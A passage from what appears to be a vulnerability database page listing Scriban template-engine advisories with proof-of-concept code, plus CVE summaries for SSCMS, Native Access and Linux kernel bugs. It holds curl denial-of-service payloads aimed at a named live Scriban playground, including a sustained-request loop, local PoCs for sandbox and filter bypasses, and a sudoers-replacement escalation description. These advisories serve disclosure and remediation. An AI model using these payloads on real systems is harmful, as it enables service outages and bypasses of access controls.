succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process. Sustained attack with rate limiting: ```bash # 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure for i in $(seq 1 30); do curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' & done wait ``` The `string.pad_right` variant works identically: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}' ``` ## Impact - **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`. - An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery. - The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation. ## Recommended Fix Add width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available: ```csharp // src/Scriban/Functions/StringFunctions.cs // Option 1: Fixed reasonable maximum (simplest fix) public static string PadLeft(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadLeft(width); } public static string PadRight(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadRight(width); } ``` Alternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth. | GCVE Database | |||
| High | 7.5 | High7.5GCVE Database ## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration. - `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables. - `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748. - `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`. This means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`. There is also a related memory-amplification path in `string * int`: - `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc3 cd scriban-poc3 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; var template = Template.Parse("{{ 1..1000000 | array.size }}"); var context = new TemplateContext { LoopLimit = 1 }; Console.WriteLine(template.Render(context)); ``` ### Run ```bash dotnet run ``` ### Actual Output ``` 1000000 ``` ### Expected Behavior A safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work. ### Optional Stronger Variant (Memory Amplification) ```csharp using Scriban; var template = Template.Parse("{{ 'A' * 200000000 }}"); var context = new TemplateContext { LoopLimit = 1 }; template.Render(context); ``` This variant demonstrates that `LoopLimit` also does not constrain large internal allocation work. --- ## Impact This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression. The issue impacts: - Template-as-a-service systems - CMS or email rendering systems that accept user templates - Any multi-tenant use of Scriban with untrusted template content | GCVE Database | |||
| Critical | 9.1 | Critical9.1GCVE Database ## Summary `TemplateContext` caches type accessors by `Type` only, but those accessors are built using the current `MemberFilter` and `MemberRenamer`. When a `TemplateContext` is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden. ## Details The relevant code path is: - `TemplateContext.GetMemberAccessor()` caches accessors in `_memberAccessors` by `Type` in `src/Scriban/TemplateContext.cs` lines 850–863. - For plain .NET objects, `GetMemberAccessorImpl()` creates a new `TypedObjectAccessor(type, _keyComparer, MemberFilter, MemberRenamer)` in `src/Scriban/TemplateContext.cs` lines 909–939. - `TypedObjectAccessor` stores the current filter and precomputes the exposed member set in its constructor and `PrepareMembers()` in `src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs` lines 33–40 and 119–179. - Member access later goes through `ScriptMemberExpression.GetValue()` in `src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs` lines 67–95, which uses the cached accessor. - `TemplateContext.Reset()` does **not** clear `_memberAccessors` in `src/Scriban/TemplateContext.cs` lines 877–902. As a result, once a permissive accessor has been created for a given type, changing `TemplateContext.MemberFilter` later does not take effect for that type on the same reused context. This is especially relevant because the Scriban docs explicitly recommend `TemplateContext.MemberFilter` for indirect .NET object exposure. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc2 cd scriban-poc2 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using System.Reflection; using Scriban; using Scriban.Runtime; var template = Template.Parse("{{ model.secret }}"); var context = new TemplateContext { EnableRelaxedMemberAccess = false }; var globals = new ScriptObject(); globals["model"] = new SensitiveModel(); context.PushGlobal(globals); context.MemberFilter = _ => true; Console.WriteLine("first=" + template.Render(context)); context.Reset(); var globals2 = new ScriptObject(); globals2["model"] = new SensitiveModel(); context.PushGlobal(globals2); context.MemberFilter = member => member.Name == nameof(SensitiveModel.Public); Console.WriteLine("second=" + template.Render(context)); sealed class SensitiveModel { public string Public => "ok"; public string Secret => "leaked"; } ``` ### Run ```bash dotnet run ``` ### Actual Output ``` first=leaked second=leaked ``` ### Expected Behavior The second render should fail or stop exposing `Secret`, because the filter only allows `Public` and `EnableRelaxedMemberAccess` is disabled. This reproduces a direct filter bypass caused by the stale cached accessor. --- ## Impact This is a protection-mechanism bypass. Applications that use `TemplateContext.MemberFilter` as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a `TemplateContext`. The impact includes: - Unauthorized read access to filtered properties or fields - Unauthorized writes if the filtered member also has a setter - Policy bypass across requests, users, or tenants when contexts are pooled | GCVE Database | |||
| High | 8.6 | High8.6GCVE Database ## Summary `TemplateContext.Reset()` claims that a `TemplateContext` can be reused safely on the same thread, but it does not clear `CachedTemplates`. If an application pools `TemplateContext` objects and uses an `ITemplateLoader` that resolves content per request, tenant, or user, a previously authorized include can be served to later renders without calling `TemplateLoader.Load()` again. ## Details The relevant code path is: - `TemplateContext.Reset()` only clears output, globals, cultures, and source files in `src/Scriban/TemplateContext.cs` lines 877–902. - `CachedTemplates` is initialized once and kept on the context in `src/Scriban/TemplateContext.cs` line 197. - `include` resolves templates through `IncludeFunction.Invoke()` in `src/Scriban/Functions/IncludeFunction.cs` lines 29–43. - `IncludeFunction.Invoke()` calls `TemplateContext.GetOrCreateTemplate()` in `src/Scriban/TemplateContext.cs` lines 1249–1256. - If a template path is already present in `CachedTemplates`, Scriban returns the cached compiled template and does **not** call `TemplateLoader.Load()` again. This becomes a security issue when `ITemplateLoader.Load()` returns request-dependent content. A first render can prime the cache with an admin-only or tenant-specific template, and later renders on the same reused `TemplateContext` will receive that stale template even after `Reset()`. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc1 cd scriban-poc1 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; using Scriban.Parsing; using Scriban.Runtime; var loader = new SwitchingLoader(); var context = new TemplateContext { TemplateLoader = loader, }; var template = Template.Parse("{{ include 'profile' }}"); loader.Content = "admin-only"; Console.WriteLine("first=" + template.Render(context)); context.Reset(); loader.Content = "guest-view"; Console.WriteLine("second=" + template.Render(context)); sealed class SwitchingLoader : ITemplateLoader { public string Content { get; set; } = string.Empty; public string GetPath(TemplateContext context, SourceSpan callerSpan, string templateName) => templateName; public string Load(TemplateContext context, SourceSpan callerSpan, string templatePath) => Content; public ValueTask<string> LoadAsync(TemplateContext context, SourceSpan callerSpan, string templatePath) => new(Content); } ``` ### Run ```bash dotnet run ``` ### Actual Output ``` first=admin-only second=admin-only ``` ### Expected Output ``` first=admin-only second=guest-view ``` The second render should reload the template after `Reset()`, but it instead reuses the cached compiled template from the previous render. --- ## Impact This is a cross-render data isolation issue. Any application that reuses `TemplateContext` objects and uses a request-dependent `ITemplateLoader` can leak previously authorized template content across requests, users, or tenants. The issue impacts applications that: - Pool or reuse `TemplateContext` - Call `Reset()` between requests - Use `include` - Resolve include content based on request-specific state | GCVE Database | |||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-4542SSCMS · Path Traversal Medium5.3EPSS 0.4%CVE Database V5CVE-2026-4542 A vulnerability has been found in SSCMS 4.7.0. The affected element is an unknown function of the file LayerImageController.Submit.cs of the component layerImage Endpoint. Such manipulation of the argument filePaths leads to path traversal. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| High | 7.5 | High7.5GCVE Database When Scriban renders an object that contains a circular reference, it traverses the object's members infinitely. Because the `ObjectRecursionLimit` property defaults to unlimited, this behavior exhausts the thread's stack space, triggering an uncatchable `StackOverflowException` that immediately terminates the hosting process. When rendering objects (e.g., `{{ obj }}`), the Scriban rendering engine recursively inspects and formats the object's properties. To prevent infinite loops caused by deeply nested or circular data structures, `TemplateContext` contains an `ObjectRecursionLimit` property. However, this property currently defaults to `0` (unlimited). If the data context pushed into the template contains a circular reference, the renderer will recurse indefinitely. This is especially dangerous for web applications that map user-controlled payloads (like JSON) directly to rendering contexts, or for applications that pass ORM objects (like Entity Framework models, which frequently contain circular navigation properties) into the template. #### Proof of Concept (PoC) The following C# code demonstrates the vulnerability. Executing this will cause an immediate, fatal `StackOverflowException`, bypassing any standard error handling. ```csharp using Scriban; using Scriban.Runtime; var template = Template.Parse("{{ a }}"); var context = new TemplateContext(); var a = new ScriptObject(); // Introduce a cycle a["self"] = a; context.PushGlobal(new ScriptObject { { "a", a } }); try { // This crashes the entire process immediately template.Render(context); } catch (Exception ex) { // This will never execute because StackOverflowException Console.WriteLine("Caught exception: " + ex.Message); } ``` #### Impact This vulnerability allows a Denial of Service (DoS) attack. If a malicious user can manipulate the data structure passed to the renderer to include a cyclic reference, or if the application passes a complex object graph to an untrusted template, the entire .NET hosting process will crash. #### Suggested Remediation Update `TemplateContext.cs` to set `ObjectRecursionLimit` to a safe default, such as `20`. ```csharp public int ObjectRecursionLimit { get; set; } = 20; ``` By implementing this default, circular references will gracefully result in a catchable `ScriptRuntimeException` rather than a fatal process crash. | GCVE Database | |||
| Low | 7.1 | EPSS 0.1% | Low7.1EPSS 0.1%GCVE DatabaseCVE-2026-23244 In the Linux kernel, the following vulnerability has been resolved: nvme: fix memory allocation in nvme_pr_read_keys() nvme_pr_read_keys() takes num_keys from userspace and uses it to calculate the allocation size for rse via struct_size(). The upper limit is PR_KEYS_MAX (64K). A malicious or buggy userspace can pass a large num_keys value that results in a 4MB allocation attempt at most, causing a warning in the page allocator when the order exceeds MAX_PAGE_ORDER. To fix this, use kvzalloc() instead of kzalloc(). This bug has the same reasoning and fix with the patch below: https://lore.kernel.org/linux-block/20251212013510.3576091-1-kartikey406@gmail.com/ Warning log: WARNING: mm/page_alloc.c:5216 at __alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216, CPU#1: syz-executor117/272 Modules linked in: CPU: 1 UID: 0 PID: 272 Comm: syz-executor117 Not tainted 6.19.0 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 RIP: 0010:__alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216 Code: ff 83 bd a8 fe ff ff 0a 0f 86 69 fb ff ff 0f b6 1d f9 f9 c4 04 80 fb 01 0f 87 3b 76 30 ff 83 e3 01 75 09 c6 05 e4 f9 c4 04 01 <0f> 0b 48 c7 85 70 fe ff ff 00 00 00 00 e9 8f fd ff ff 31 c0 e9 0d RSP: 0018:ffffc90000fcf450 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 1ffff920001f9ea0 RDX: 0000000000000000 RSI: 000000000000000b RDI: 0000000000040dc0 RBP: ffffc90000fcf648 R08: ffff88800b6c3380 R09: 0000000000000001 R10: ffffc90000fcf840 R11: ffff88807ffad280 R12: 0000000000000000 R13: 0000000000040dc0 R14: 0000000000000001 R15: ffffc90000fcf620 FS: 0000555565db33c0(0000) GS:ffff8880be26c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000002000000c CR3: 0000000003b72000 CR4: 00000000000006f0 Call Trace: <TASK> alloc_pages_mpol+0x236/0x4d0 mm/mempolicy.c:2486 alloc_frozen_pages_noprof+0x149/0x180 mm/mempolicy.c:2557 ___kmalloc_large_node+0x10c/0x140 mm/slub.c:5598 __kmalloc_large_node_noprof+0x25/0xc0 mm/slub.c:5629 __do_kmalloc_node mm/slub.c:5645 [inline] __kmalloc_noprof+0x483/0x6f0 mm/slub.c:5669 kmalloc_noprof include/linux/slab.h:961 [inline] kzalloc_noprof include/linux/slab.h:1094 [inline] nvme_pr_read_keys+0x8f/0x4c0 drivers/nvme/host/pr.c:245 blkdev_pr_read_keys block/ioctl.c:456 [inline] blkdev_common_ioctl+0x1b71/0x29b0 block/ioctl.c:730 blkdev_ioctl+0x299/0x700 block/ioctl.c:786 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x1bf/0x220 fs/ioctl.c:583 x64_sys_call+0x1280/0x21b0 mnt/fuzznvme_1/fuzznvme/linux-build/v6.19/./arch/x86/include/generated/asm/syscalls_64.h:17 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x71/0x330 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7fb893d3108d Code: 28 c3 e8 46 1e 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffff61f2f38 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007ffff61f3138 RCX: 00007fb893d3108d RDX: 0000000020000040 RSI: 00000000c01070ce RDI: 0000000000000003 RBP: 0000000000000001 R08: 0000000000000000 R09: 00007ffff61f3138 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 00007ffff61f3128 R14: 00007fb893dae530 R15: 0000000000000001 </TASK> | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-4234SSCMS · SQL Injection Medium5.3EPSS 0.2%CVE Database V5CVE-2026-4234 A security flaw has been discovered in SSCMS 7.4.0. This vulnerability affects unknown code of the file SitesAddController.Submit.cs of the component DDL Handler. The manipulation of the argument tableHandWrite results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| Low | – | EPSS 0.2% | LowEPSS 0.2%GCVE DatabaseCVE-2026-23183 In the Linux kernel, the following vulnerability has been resolved: cgroup/dmem: fix NULL pointer dereference when setting max An issue was triggered: BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 15 UID: 0 PID: 658 Comm: bash Tainted: 6.19.0-rc6-next-2026012 Tainted: [O]=OOT_MODULE Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), RIP: 0010:strcmp+0x10/0x30 RSP: 0018:ffffc900017f7dc0 EFLAGS: 00000246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff888107cd4358 RDX: 0000000019f73907 RSI: ffffffff82cc381a RDI: 0000000000000000 RBP: ffff8881016bef0d R08: 000000006c0e7145 R09: 0000000056c0e714 R10: 0000000000000001 R11: ffff888107cd4358 R12: 0007ffffffffffff R13: ffff888101399200 R14: ffff888100fcb360 R15: 0007ffffffffffff CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 0000000105c79000 CR4: 00000000000006f0 Call Trace: <TASK> dmemcg_limit_write.constprop.0+0x16d/0x390 ? __pfx_set_resource_max+0x10/0x10 kernfs_fop_write_iter+0x14e/0x200 vfs_write+0x367/0x510 ksys_write+0x66/0xe0 do_syscall_64+0x6b/0x390 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f42697e1887 It was trriggered setting max without limitation, the command is like: "echo test/region0 > dmem.max". To fix this issue, add check whether options is valid after parsing the region_name. EPSS 0.2%Vulnerability | GCVE Database | ||
| High | 8.8 | EPSS 0.2% | CVE-2026-24070Native Access · Untrusted Search Path High8.8EPSS 0.2%CVE Database V5CVE-2026-24070 During the installation of the Native Access application, a privileged helper `com.native-instruments.NativeAccess.Helper2`, which is used by Native Access to trigger functions via XPC communication like copy-file, remove or set-permissions, is deployed as well. The communication with the XPC service of the privileged helper is only allowed if the client process is signed with the corresponding certificate and fulfills the following code signing requirement: "anchor trusted and certificate leaf[subject.CN] = \"Developer ID Application: Native Instruments GmbH (83K5EG6Z9V)\"" The Native Access application was found to be signed with the `com.apple.security.cs.allow-dyld-environment-variables` and `com.apple.security.cs.disable-library-validation` entitlements leading to DYLIB injection and therefore command execution in the context of this application. A low privileged user can exploit the DYLIB injection to trigger functions of the privileged helper XPC service resulting in privilege escalation by first deleting the /etc/sudoers file and then copying a malicious version of that file to /etc/sudoers. | CVE Database V5 | ||
| Low | 5.5 | EPSS 0.1% | Low5.5EPSS 0.1%GCVE DatabaseCVE-2025-71142 In the Linux kernel, the following vulnerability has been resolved: cpuset: fix warning when disabling remote partition A warning was triggered as follows: WARNING: kernel/cgroup/cpuset.c:1651 at remote_partition_disable+0xf7/0x110 RIP: 0010:remote_partition_disable+0xf7/0x110 RSP: 0018:ffffc90001947d88 EFLAGS: 00000206 RAX: 0000000000007fff RBX: ffff888103b6e000 RCX: 0000000000006f40 RDX: 0000000000006f00 RSI: ffffc90001947da8 RDI: ffff888103b6e000 RBP: ffff888103b6e000 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000001 R11: ffff88810b2e2728 R12: ffffc90001947da8 R13: 0000000000000000 R14: ffffc90001947da8 R15: ffff8881081f1c00 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f55c8bbe0b2 CR3: 000000010b14c000 CR4: 00000000000006f0 Call Trace: <TASK> update_prstate+0x2d3/0x580 cpuset_partition_write+0x94/0xf0 kernfs_fop_write_iter+0x147/0x200 vfs_write+0x35d/0x500 ksys_write+0x66/0xe0 do_syscall_64+0x6b/0x390 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f55c8cd4887 Reproduction steps (on a 16-CPU machine): # cd /sys/fs/cgroup/ # mkdir A1 # echo +cpuset > A1/cgroup.subtree_control # echo "0-14" > A1/cpuset.cpus.exclusive # mkdir A1/A2 # echo "0-14" > A1/A2/cpuset.cpus.exclusive # echo "root" > A1/A2/cpuset.cpus.partition # echo 0 > /sys/devices/system/cpu/cpu15/online # echo member > A1/A2/cpuset.cpus.partition When CPU 15 is offlined, subpartitions_cpus gets cleared because no CPUs remain available for the top_cpuset, forcing partitions to share CPUs with the top_cpuset. In this scenario, disabling the remote partition triggers a warning stating that effective_xcpus is not a subset of subpartitions_cpus. Partitions should be invalidated in this case to inform users that the partition is now invalid(cpus are shared with top_cpuset). To fix this issue: 1. Only emit the warning only if subpartitions_cpus is not empty and the effective_xcpus is not a subset of subpartitions_cpus. 2. During the CPU hotplug process, invalidate partitions if subpartitions_cpus is empty. | GCVE Database | ||
| Medium | 5.5 | EPSS 0.1% | Medium5.5EPSS 0.1%GCVE DatabaseCVE-2025-71144 In the Linux kernel, the following vulnerability has been resolved: mptcp: ensure context reset on disconnect() After the blamed commit below, if the MPC subflow is already in TCP_CLOSE status or has fallback to TCP at mptcp_disconnect() time, mptcp_do_fastclose() skips setting the `send_fastclose flag` and the later __mptcp_close_ssk() does not reset anymore the related subflow context. Any later connection will be created with both the `request_mptcp` flag and the msk-level fallback status off (it is unconditionally cleared at MPTCP disconnect time), leading to a warning in subflow_data_ready(): WARNING: CPU: 26 PID: 8996 at net/mptcp/subflow.c:1519 subflow_data_ready (net/mptcp/subflow.c:1519 (discriminator 13)) Modules linked in: CPU: 26 UID: 0 PID: 8996 Comm: syz.22.39 Not tainted 6.18.0-rc7-05427-g11fc074f6c36 #1 PREEMPT(voluntary) Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 RIP: 0010:subflow_data_ready (net/mptcp/subflow.c:1519 (discriminator 13)) Code: 90 0f 0b 90 90 e9 04 fe ff ff e8 b7 1e f5 fe 89 ee bf 07 00 00 00 e8 db 19 f5 fe 83 fd 07 0f 84 35 ff ff ff e8 9d 1e f5 fe 90 <0f> 0b 90 e9 27 ff ff ff e8 8f 1e f5 fe 4c 89 e7 48 89 de e8 14 09 RSP: 0018:ffffc9002646fb30 EFLAGS: 00010293 RAX: 0000000000000000 RBX: ffff88813b218000 RCX: ffffffff825c8435 RDX: ffff8881300b3580 RSI: ffffffff825c8443 RDI: 0000000000000005 RBP: 000000000000000b R08: ffffffff825c8435 R09: 000000000000000b R10: 0000000000000005 R11: 0000000000000007 R12: ffff888131ac0000 R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 FS: 00007f88330af6c0(0000) GS:ffff888a93dd2000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f88330aefe8 CR3: 000000010ff59000 CR4: 0000000000350ef0 Call Trace: <TASK> tcp_data_ready (net/ipv4/tcp_input.c:5356) tcp_data_queue (net/ipv4/tcp_input.c:5445) tcp_rcv_state_process (net/ipv4/tcp_input.c:7165) tcp_v4_do_rcv (net/ipv4/tcp_ipv4.c:1955) __release_sock (include/net/sock.h:1158 (discriminator 6) net/core/sock.c:3180 (discriminator 6)) release_sock (net/core/sock.c:3737) mptcp_sendmsg (net/mptcp/protocol.c:1763 net/mptcp/protocol.c:1857) inet_sendmsg (net/ipv4/af_inet.c:853 (discriminator 7)) __sys_sendto (net/socket.c:727 (discriminator 15) net/socket.c:742 (discriminator 15) net/socket.c:2244 (discriminator 15)) __x64_sys_sendto (net/socket.c:2247) do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) RIP: 0033:0x7f883326702d Address the issue setting an explicit `fastclosing` flag at fastclose time, and checking such flag after mptcp_do_fastclose(). EPSS 0.1%Vulnerability | GCVE Database | ||
| Low | – | EPSS 0.2% | LowEPSS 0.2%GCVE DatabaseCVE-2025-40310 In the Linux kernel, the following vulnerability has been resolved: amd/amdkfd: resolve a race in amdgpu_amdkfd_device_fini_sw There is race in amdgpu_amdkfd_device_fini_sw and interrupt. if amdgpu_amdkfd_device_fini_sw run in b/w kfd_cleanup_nodes and kfree(kfd), and KGD interrupt generated. kernel panic log: BUG: kernel NULL pointer dereference, address: 0000000000000098 amdgpu 0000:c8:00.0: amdgpu: Requesting 4 partitions through PSP PGD d78c68067 P4D d78c68067 kfd kfd: amdgpu: Allocated 3969056 bytes on gart PUD 1465b8067 PMD @ Oops: @002 [#1] SMP NOPTI kfd kfd: amdgpu: Total number of KFD nodes to be created: 4 CPU: 115 PID: @ Comm: swapper/115 Kdump: loaded Tainted: G S W OE K RIP: 0010:_raw_spin_lock_irqsave+0x12/0x40 Code: 89 e@ 41 5c c3 cc cc cc cc 66 66 2e Of 1f 84 00 00 00 00 00 OF 1f 40 00 Of 1f 44% 00 00 41 54 9c 41 5c fa 31 cO ba 01 00 00 00 <fO> OF b1 17 75 Ba 4c 89 e@ 41 Sc 89 c6 e8 07 38 5d RSP: 0018: ffffc90@1a6b0e28 EFLAGS: 00010046 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000018 0000000000000001 RSI: ffff8883bb623e00 RDI: 0000000000000098 ffff8883bb000000 RO8: ffff888100055020 ROO: ffff888100055020 0000000000000000 R11: 0000000000000000 R12: 0900000000000002 ffff888F2b97da0@ R14: @000000000000098 R15: ffff8883babdfo00 CS: 010 DS: 0000 ES: 0000 CRO: 0000000080050033 CR2: 0000000000000098 CR3: 0000000e7cae2006 CR4: 0000000002770ce0 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 0000000000000000 DR6: 00000000fffeO7FO DR7: 0000000000000400 PKRU: 55555554 Call Trace: <IRQ> kgd2kfd_interrupt+@x6b/0x1f@ [amdgpu] ? amdgpu_fence_process+0xa4/0x150 [amdgpu] kfd kfd: amdgpu: Node: 0, interrupt_bitmap: 3 YcpxFl Rant tErace amdgpu_irq_dispatch+0x165/0x210 [amdgpu] amdgpu_ih_process+0x80/0x100 [amdgpu] amdgpu: Virtual CRAT table created for GPU amdgpu_irq_handler+0x1f/@x60 [amdgpu] __handle_irq_event_percpu+0x3d/0x170 amdgpu: Topology: Add dGPU node [0x74a2:0x1002] handle_irq_event+0x5a/@xcO handle_edge_irq+0x93/0x240 kfd kfd: amdgpu: KFD node 1 partition @ size 49148M asm_call_irq_on_stack+0xf/@x20 </IRQ> common_interrupt+0xb3/0x130 asm_common_interrupt+0x1le/0x40 5.10.134-010.a1i5000.a18.x86_64 #1 EPSS 0.2%Vulnerability | GCVE Database |
Page 7 of 12